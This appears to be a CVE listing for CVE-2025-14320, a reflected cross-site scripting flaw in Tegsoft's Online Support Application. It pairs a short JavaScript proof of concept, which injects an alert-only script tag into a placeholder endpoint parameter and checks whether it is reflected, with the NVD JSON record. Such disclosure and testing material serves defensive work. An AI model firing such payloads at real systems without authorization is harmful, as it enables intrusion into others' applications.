CVE-2025-14320

// Proof of Concept for CVE-2025-14320 // Description: Testing for Reflected XSS in vulnerable parameter // Step 1: Construct the malicious payload var payload = "<script>alert('CVE-2025-14320 XSS');</script>"; // Step 2: Encode the payload for the URL (if necessary, though raw injection is the vulnerability) // In a real reflected XSS scenario, the payload is often injected directly into a parameter. var targetUrl = "http://target-tegsoft-app/vulnerable_endpoint?parameter=" + payload; // Step 3: Simulate a victim request (using fetch as an example) // If the server reflects the payload without sanitization, the script executes. console.log("[+] Sending request to: " + targetUrl); fetch(targetUrl) .then(response => response.text()) .then(html => { if (html.includes(payload)) { console.log("[+] Vulnerability Confirmed: Payload reflected in response."); console.log("[+] In a browser, the alert box would have executed."); } else { console.log("[-] Payload not reflected or sanitized."); } }) .catch(error => console.error("Error:", error));

{"cve": {"id": "CVE-2025-14320", "sourceIdentifier": "[email protected]", "published": "2026-05-04T09:15:59.643", "lastModified": "2026-05-05T19:34:16.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Tegsoft Management and Information Services Trade Limited Company Online Support Application allows Reflected XSS.\n\nThis issue affects Online Support Application: from V3 through 31122025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0142", "source": "[email protected]"}]}}